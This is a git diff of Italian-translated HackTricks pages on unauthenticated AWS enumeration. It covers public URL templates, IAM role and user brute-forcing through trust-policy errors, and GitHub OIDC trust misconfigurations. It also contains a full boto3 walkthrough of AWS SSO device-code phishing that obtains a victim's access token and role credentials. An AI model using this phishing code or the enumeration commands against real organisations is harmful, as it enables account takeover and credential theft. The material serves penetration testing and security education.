+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
@@ -0,0 +1,35 @@
+# AWS - Elastic Beanstalk Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### Web vulnerability
+
+Nota che, per impostazione predefinita, gli environment Beanstalk hanno il **Metadatav1 disabilitato**.
+
+Il formato delle pagine web di Beanstalk è **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
+
+### Regole dei Security Group insicure
+
+Regole dei security group mal configurate possono esporre le istanze di Elastic Beanstalk al pubblico. **Regole di ingress troppo permissive, come permettere traffico da qualsiasi indirizzo IP (0.0.0.0/0) su porte sensibili, possono consentire agli attaccanti di accedere all'istanza**.
+
+### Load Balancer accessibile pubblicamente
+
+Se un environment di Elastic Beanstalk usa un load balancer e il load balancer è configurato come accessibile pubblicamente, gli attaccanti possono **inviare richieste direttamente al load balancer**. Questo potrebbe non essere un problema per applicazioni web pensate per essere pubbliche, ma può rappresentare un rischio per applicazioni o environment privati.
+
+### S3 Buckets accessibili pubblicamente
+
+Le applicazioni Elastic Beanstalk sono spesso memorizzate in S3 buckets prima del deployment. Se il S3 bucket che contiene l'applicazione è accessibile pubblicamente, un attaccante potrebbe **scaricare il codice dell'applicazione e cercare vulnerabilità o informazioni sensibili**.
+
+### Enumerare gli environment pubblici
+```bash
+aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
index b517c4a33..8f78c53b9 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
@@ -1,10 +1,10 @@
 # AWS - Elasticsearch Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-### Modello di URL pubblico
+### Template URL pubblico
 ```
 https://vpc-{user_provided}-[random].[region].es.amazonaws.com
 https://search-{user_provided}-[random].[region].es.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
index 739383159..98688c220 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
@@ -1,13 +1,13 @@
-# AWS - IAM & STS Enumerazione Non Autenticata
+# AWS - IAM & STS Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## Enumerare Ruoli e Nomi Utente in un account
+## Enumerate Roles & Usernames in an account
 
-### ~~Forza Bruta per Assumere Ruolo~~
+### ~~Assume Role Brute-Force~~
 
 > [!CAUTION]
-> **Questa tecnica non funziona** più poiché, se il ruolo esiste o meno, si riceve sempre questo errore:
+> **Questa tecnica non funziona più** perché, sia che il role esista o meno, ricevi sempre questo errore:
 >
 > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
 >
@@ -15,29 +15,29 @@
 >
 > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
 
-Tentare di **assumere un ruolo senza le autorizzazioni necessarie** attiva un messaggio di errore di AWS. Ad esempio, se non autorizzato, AWS potrebbe restituire:
+Tentando di **assume a role without the necessary permissions** si genera un messaggio di errore AWS. Per esempio, se non autorizzato, AWS potrebbe restituire:
 ```ruby
 An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
 ```
-Questo messaggio conferma l'esistenza del ruolo ma indica che la sua policy di assunzione non consente la tua assunzione. Al contrario, cercare di **assumere un ruolo inesistente porta a un errore diverso**:
+Questo messaggio conferma l'esistenza del ruolo ma indica che la sua assume role policy non permette che tu lo assuma. Invece, provare a **assumere un ruolo inesistente porta a un errore diverso**:
 ```less
 An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
 ```
-Interessantemente, questo metodo di **distinguere tra ruoli esistenti e non esistenti** è applicabile anche tra diversi account AWS. Con un ID account AWS valido e una wordlist mirata, è possibile enumerare i ruoli presenti nell'account senza affrontare alcuna limitazione intrinseca.
+È interessante che questo metodo di **distinguere tra ruoli esistenti e non esistenti** sia applicabile anche tra diversi account AWS. Con un AWS account ID valido e una wordlist mirata, è possibile enumerare i ruoli presenti nell'account senza incontrare limitazioni intrinseche.
 
-Puoi usare questo [script per enumerare i potenziali principi](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) sfruttando questo problema.
+Puoi usare questo [script per enumerare i potenziali principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando di questo problema.
 
-### Politiche di Fiducia: Brute-Force ruoli e utenti Cross Account
+### Trust Policies: Brute-Force Cross Account roles and users
 
-Configurare o aggiornare la **politica di fiducia di un ruolo IAM implica definire quali risorse o servizi AWS sono autorizzati ad assumere quel ruolo** e ottenere credenziali temporanee. Se la risorsa specificata nella politica **esiste**, la politica di fiducia viene salvata **con successo**. Tuttavia, se la risorsa **non esiste**, viene generato un **errore**, indicando che è stato fornito un principale non valido.
+Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
 
 > [!WARNING]
-> Nota che in quella risorsa potresti specificare un ruolo o un utente cross account:
+> Nota che in quella risorsa puoi specificare un cross account role o user:
 >
 > - `arn:aws:iam::acc_id:role/role_name`
 > - `arn:aws:iam::acc_id:user/user_name`
 
-Questo è un esempio di politica:
+Questo è un esempio di policy:
 ```json
 {
 "Version": "2012-10-17",
@@ -54,7 +54,7 @@ Questo è un esempio di politica:
 ```
 #### GUI
 
-Questo è l'**errore** che troverai se utilizzi un **ruolo che non esiste**. Se il ruolo **esiste**, la policy sarà **salvata** senza errori. (L'errore è per l'aggiornamento, ma funziona anche durante la creazione)
+Questo è l'**errore** che troverai se usi un **role che non esiste**. Se il **role esiste**, la policy verrà **salvata** senza errori. (L'errore riguarda l'aggiornamento, ma si presenta anche durante la creazione)
 
 ![](<../../../images/image (153).png>)
 
@@ -95,15 +95,15 @@ Puoi automatizzare questo processo con [https://github.com/carlospolop/aws_tools
 
 - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
 
-Utilizzando [Pacu](https://github.com/RhinoSecurityLabs/pacu):
+In alternativa, usando [Pacu](https://github.com/RhinoSecurityLabs/pacu):
 
 - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
 - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- Il ruolo `admin` utilizzato nell'esempio è un **ruolo nel tuo account da impersonare** da pacu per creare le politiche necessarie per l'enumerazione
+- Il ruolo `admin` usato nell'esempio è una **role nel tuo account da impersonare** da pacu per creare le policies di cui ha bisogno per l'enumeration
 
 ### Privesc
 
-Nel caso in cui il ruolo fosse configurato male e consenta a chiunque di assumerlo:
+Nel caso in cui il role fosse configurato male e permetta a chiunque di assumerlo:
 ```json
 {
 "Version": "2012-10-17",
@@ -118,12 +118,12 @@ Nel caso in cui il ruolo fosse configurato male e consenta a chiunque di assumer
 ]
 }
 ```
-L'attaccante potrebbe semplicemente presumere.
+L'attaccante potrebbe semplicemente assumerlo.
 
 ## Federazione OIDC di terze parti
 
-Immagina di riuscire a leggere un **Github Actions workflow** che sta accedendo a un **role** all'interno di **AWS**.\
-Questa fiducia potrebbe dare accesso a un role con la seguente **trust policy**:
+Immagina di riuscire a leggere un **Github Actions workflow** che accede a un **role** dentro **AWS**.\\
+Questa trust potrebbe dare accesso a un ruolo con la seguente **trust policy**:
 ```json
 {
 "Version": "2012-10-17",
@@ -143,8 +143,8 @@ Questa fiducia potrebbe dare accesso a un role con la seguente **trust policy**:
 ]
 }
 ```
-Questa policy di fiducia potrebbe essere corretta, ma la **mancanza di ulteriori condizioni** dovrebbe farti diffidare.\
-Questo perché il ruolo precedente può essere assunto da **CHIUNQUE da Github Actions**! Dovresti specificare nelle condizioni anche altre cose come il nome dell'organizzazione, il nome del repository, l'ambiente, il ramo...
+Questa trust policy potrebbe essere corretta, ma la **mancanza di ulteriori condizioni** dovrebbe farti dubitare.\
+Questo perché il ruolo precedente può essere assunto da **CHIUNQUE da Github Actions**! Dovresti specificare nelle condizioni anche altre cose come nome dell'organizzazione, nome del repository, env, branch...
 
 Un'altra potenziale misconfigurazione è **aggiungere una condizione** come la seguente:
 ```json
@@ -152,11 +152,11 @@ Un'altra potenziale misconfigurazione è **aggiungere una condizione** come la s
 "token.actions.githubusercontent.com:sub": "repo:org_name*:*"
 }
 ```
-Nota che **wildcard** (\*) prima dei **due punti** (:). Puoi creare un org come **org_name1** e **assumere il ruolo** da un'azione Github.
+Nota che il **wildcard** (\*) deve trovarsi prima del **colon** (:). Puoi creare un org come **org_name1** e **assume the role** da una Github Action.
 
 ## Riferimenti
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
deleted file mode 100644
index 857d3c525..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ /dev/null
@@ -1,123 +0,0 @@
-# AWS - Identity Center & SSO Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Phishing del Codice Dispositivo AWS
-
-Inizialmente proposto in [**questo post del blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), è possibile inviare un **link** a un utente che utilizza AWS SSO che, se **accettato**, permetterà all'attaccante di ottenere un **token per impersonare l'utente** e accedere a tutti i ruoli a cui l'utente può accedere nell'**Identity Center**.
-
-Per eseguire questo attacco, i requisiti sono:
-
-- La vittima deve utilizzare l'**Identity Center**
-- L'attaccante deve conoscere il **sottodominio** utilizzato dalla vittima `<victimsub>.awsapps.com/start`
-
-Solo con le informazioni precedenti, l'**attaccante sarà in grado di inviare un link all'utente** che, se **accettato**, concederà all'**attaccante accesso all'account** utente AWS.
-
-### Attacco
-
-1. **Trovare il sottodominio**
-
-Il primo passo dell'attaccante è scoprire il sottodominio che l'azienda vittima sta utilizzando nel loro Identity Center. Questo può essere fatto tramite **OSINT** o **indovinando + BF**, poiché la maggior parte delle aziende utilizzerà il proprio nome o una variazione del proprio nome qui.
-
-Con queste informazioni, è possibile ottenere la regione in cui è stato configurato l'Identity Center:
-```bash
-curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
-"region":"us-east-1
-```
-2. **Genera il link per la vittima e invialo**
-
-Esegui il seguente codice per generare un link di accesso AWS SSO in modo che la vittima possa autenticarsi.\
-Per la demo, esegui questo codice in una console python e non uscire, poiché in seguito avrai bisogno di alcuni oggetti per ottenere il token:
-```python
-import boto3
-
-REGION = 'us-east-1' # CHANGE THIS
-AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
-
-sso_oidc = boto3.client('sso-oidc', region_name=REGION)
-client = sso_oidc.register_client(
-clientName = 'attacker',
-clientType = 'public'
-)
-
-client_id = client.get('clientId')
-client_secret = client.get('clientSecret')
-authz = sso_oidc.start_device_authorization(
-clientId=client_id,
-clientSecret=client_secret,
-startUrl=AWS_SSO_START_URL
-)
-
-url = authz.get('verificationUriComplete')
-deviceCode = authz.get('deviceCode')
-print("Give this URL to the victim: " + url)
-```
-Invia il link generato alla vittima utilizzando le tue fantastiche abilità di ingegneria sociale!
-
-3. **Aspetta che la vittima lo accetti**
-
-Se la vittima era **già loggata in AWS**, dovrà solo accettare di concedere i permessi; se non lo era, dovrà **effettuare il login e poi accettare di concedere i permessi**.\
-Questo è come appare il prompt al giorno d'oggi:
-
-<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
-
-4. **Ottieni il token di accesso SSO**
-
-Se la vittima ha accettato il prompt, esegui questo codice per **generare un token SSO impersonando l'utente**:
-```python
-token_response = sso_oidc.create_token(
-clientId=client_id,
-clientSecret=client_secret,
-grantType="urn:ietf:params:oauth:grant-type:device_code",
-deviceCode=deviceCode
-)
-sso_token = token_response.get('accessToken')
-```
-Il token di accesso SSO è **valido per 8h**.
-
-5. **Impersonare l'utente**
-```python
-sso_client = boto3.client('sso', region_name=REGION)
-
-# List accounts where the user has access
-aws_accounts_response = sso_client.list_accounts(
-accessToken=sso_token,
-maxResults=100
-)
-aws_accounts_response.get('accountList', [])
-
-# Get roles inside an account
-roles_response = sso_client.list_account_roles(
-accessToken=sso_token,
-accountId=<account_id>
-)
-roles_response.get('roleList', [])
-
-# Get credentials over a role
-
-sts_creds = sso_client.get_role_credentials(
-accessToken=sso_token,
-roleName=<role_name>,
-accountId=<account_id>
-)
-sts_creds.get('roleCredentials')
-```
-### Phishing l'MFA non phishingabile
-
-È divertente sapere che il precedente attacco **funziona anche se viene utilizzato un "MFA non phishingabile" (webAuth)**. Questo perché il **workflow precedente non esce mai dal dominio OAuth utilizzato**. A differenza di altri attacchi di phishing in cui l'utente deve sostituire il dominio di accesso, nel caso il workflow del codice dispositivo è preparato in modo che un **codice sia conosciuto da un dispositivo** e l'utente può accedere anche su una macchina diversa. Se accetta il prompt, il dispositivo, semplicemente **conoscendo il codice iniziale**, sarà in grado di **recuperare le credenziali** per l'utente.
-
-Per ulteriori informazioni su questo [**controlla questo post**](https://mjg59.dreamwidth.org/62175.html).
-
-### Strumenti Automatici
-
-- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
-- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
-
-## Riferimenti
-
-- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
-- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
-- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
-- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
new file mode 100644
index 000000000..9edacc9a9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
@@ -0,0 +1,123 @@
+# AWS - Identity Center & SSO Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS Device Code Phishing
+
+Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), è possibile inviare un **link** a un utente che usa AWS SSO che, se l'**utente accetta**, permetterà all'attaccante di ottenere un **token per impersonare l'utente** e accedere a tutti i ruoli a cui l'utente può accedere nell'**Identity Center**.
+
+Per eseguire questo attacco i requisiti sono:
+
+- La vittima deve usare **Identity Center**
+- L'attaccante deve conoscere il **subdomain** usato dalla vittima `<victimsub>.awsapps.com/start`
+
+Solo con queste informazioni, l'**attaccante sarà in grado di inviare un link all'utente** che, se **accettato**, concederà all'**attaccante accesso sull'account utente AWS**.
+
+### Attacco
+
+1. **Finding the subdomain**
+
+Il primo passo per l'attaccante è scoprire il subdomain che l'azienda vittima usa nel proprio Identity Center. Questo può essere fatto tramite **OSINT** o **guessing + BF**, dato che la maggior parte delle aziende utilizza il proprio nome o una sua variazione qui.
+
+Con queste informazioni, è possibile ottenere la regione in cui l'Identity Center è stato configurato:
+```bash
+curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
+"region":"us-east-1
+```
+2. **Genera il link per la vittima & Invialo**
+
+Esegui il codice seguente per generare un link di accesso AWS SSO in modo che la vittima possa autenticarsi.\
+Per la demo, esegui questo codice in una console python e non chiuderla, perché in seguito avrai bisogno di alcuni oggetti per ottenere il token:
+```python
+import boto3
+
+REGION = 'us-east-1' # CHANGE THIS
+AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
+
+sso_oidc = boto3.client('sso-oidc', region_name=REGION)
+client = sso_oidc.register_client(
+clientName = 'attacker',
+clientType = 'public'
+)
+
+client_id = client.get('clientId')
+client_secret = client.get('clientSecret')
+authz = sso_oidc.start_device_authorization(
+clientId=client_id,
+clientSecret=client_secret,
+startUrl=AWS_SSO_START_URL
+)
+
+url = authz.get('verificationUriComplete')
+deviceCode = authz.get('deviceCode')
+print("Give this URL to the victim: " + url)
+```
+Invia il link generato alla vittima usando le tue ottime abilità di social engineering!
+
+3. **Attendi che la vittima lo accetti**
+
+Se la vittima era **già loggata in AWS** dovrà solo accettare la concessione dei permessi; se non lo era, dovrà **effettuare il login e poi accettare la concessione dei permessi**.\
+Ecco come appare il prompt oggigiorno:
+
+<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
+
+4. **Ottieni SSO access token**
+
+Se la vittima ha accettato il prompt, esegui questo codice per **generare un SSO token impersonando l'utente**:
+```python
+token_response = sso_oidc.create_token(
+clientId=client_id,
+clientSecret=client_secret,
+grantType="urn:ietf:params:oauth:grant-type:device_code",
+deviceCode=deviceCode
+)
+sso_token = token_response.get('accessToken')
+```
+Il SSO access token è **valido per 8h**.
+
+5. **Impersonate the user**
+```python
+sso_client = boto3.client('sso', region_name=REGION)
+
+# List accounts where the user has access
+aws_accounts_response = sso_client.list_accounts(
+accessToken=sso_token,
+maxResults=100
+)
+aws_accounts_response.get('accountList', [])
+
+# Get roles inside an account
+roles_response = sso_client.list_account_roles(
+accessToken=sso_token,
+accountId=<account_id>
+)
+roles_response.get('roleList', [])
+
+# Get credentials over a role
+
+sts_creds = sso_client.get_role_credentials(
+accessToken=sso_token,
+roleName=<role_name>,
+accountId=<account_id>
+)
+sts_creds.get('roleCredentials')
+```
+### Phishing the unphisable MFA
+
+È interessante sapere che l'attacco precedente **funziona anche se viene usata una "unphisable MFA" (webAuth)**. Questo perché il precedente **workflow non esce mai dal dominio OAuth utilizzato**. Non come in altri attacchi di phishing, dove l'utente deve supplire il dominio di login: in questo caso il device code workflow è predisposto in modo che un **code sia noto a un device** e l'utente possa effettuare il login anche da una macchina diversa. Se il prompt viene accettato, il device, semplicemente **conoscendo il code iniziale**, sarà in grado di **retrieve credentials** per l'utente.
+
+Per maggiori informazioni su questo [**consulta questo post**](https://mjg59.dreamwidth.org/62175.html).
+
+### Strumenti automatici
+
+- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
+- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
+
+## Riferimenti
+
+- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
+- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
+- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
+- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
similarity index 66%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
index bceca4dde..b0d077091 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
@@ -1,6 +1,6 @@
 # AWS - IoT Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Modello di URL pubblico
 ```
@@ -8,4 +8,4 @@ mqtt://{random_id}.iot.{region}.amazonaws.com:8883
 https://{random_id}.iot.{region}.amazonaws.com:8443
 https://{random_id}.iot.{region}.amazonaws.com:443
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
deleted file mode 100644
index 5f388641a..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Kinesis Video Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Modello di URL pubblico
-```
-https://{random_id}.kinesisvideo.{region}.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
new file mode 100644
index 000000000..2ade8732d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Kinesis Video Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Modello URL pubblico
+```
+https://{random_id}.kinesisvideo.{region}.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
deleted file mode 100644
index af6919cc8..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - Accesso non autenticato a Lambda
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## URL della funzione pubblica
-
-È possibile collegare un **Lambda** a un **URL della funzione pubblica** a cui chiunque può accedere. Potrebbe contenere vulnerabilità web.
-
-### Modello di URL pubblico
-```
-https://{random_id}.lambda-url.{region}.on.aws/
-```
-### Ottieni l'ID dell'account dall'URL pubblico di Lambda
-
-Proprio come con i bucket S3, Data Exchange e API gateway, è possibile trovare l'ID dell'account di un account abusando della **`aws:ResourceAccount`** **Policy Condition Key** da un URL lambda pubblico. Questo viene fatto trovando l'ID dell'account un carattere alla volta abusando dei caratteri jolly nella sezione **`aws:ResourceAccount`** della policy.\
-Questa tecnica consente anche di ottenere **valori dei tag** se conosci la chiave del tag (ce ne sono alcuni predefiniti interessanti).
-
-Puoi trovare ulteriori informazioni nella [**ricerca originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questa sfruttamento.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
new file mode 100644
index 000000000..82e58fc73
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
@@ -0,0 +1,20 @@
+# AWS - Lambda Accesso non autenticato
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## URL pubblico della funzione
+
+È possibile associare una **Lambda** a un **URL pubblico della funzione** accessibile da chiunque. Potrebbe contenere vulnerabilità web.
+
+### Template dell'URL pubblico
+```
+https://{random_id}.lambda-url.{region}.on.aws/
+```
+### Ottieni l'Account ID da un URL pubblico di Lambda
+
+Proprio come per S3 buckets, Data Exchange e API gateways, è possibile trovare l'Account ID di un account sfruttando la **`aws:ResourceAccount`** **Policy Condition Key** da un URL pubblico di Lambda. Questo si fa trovando l'Account ID un carattere alla volta sfruttando i wildcard nella sezione **`aws:ResourceAccount`** della policy.\
+Questa tecnica permette anche di ottenere i **values of tags** se conosci il tag key (ci sono alcuni default interessanti).
+
+Puoi trovare più informazioni nella [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questa exploitation.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
similarity index 70%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
index 616d5f321..7523d4f64 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
@@ -1,6 +1,6 @@
 # AWS - Media Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Modello di URL pubblico
 ```
@@ -8,4 +8,4 @@ https://{random_id}.mediaconvert.{region}.amazonaws.com
 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
 https://{random_id}.data.mediastore.{region}.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
deleted file mode 100644
index 5d7700b65..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - MQ Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Porta Pubblica
-
-### **RabbitMQ**
-
-Nel caso di **RabbitMQ**, per **default l'accesso pubblico** e ssl sono abilitati. Ma hai bisogno di **credenziali** per accedere (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Inoltre, è possibile **accedere alla console di gestione web** se conosci le credenziali in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
-
-### ActiveMQ
-
-Nel caso di **ActiveMQ**, per default l'accesso pubblico e ssl sono abilitati, ma hai bisogno di credenziali per accedere.
-
-### Modello di URL Pubblico
-```
-https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
-ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
-```
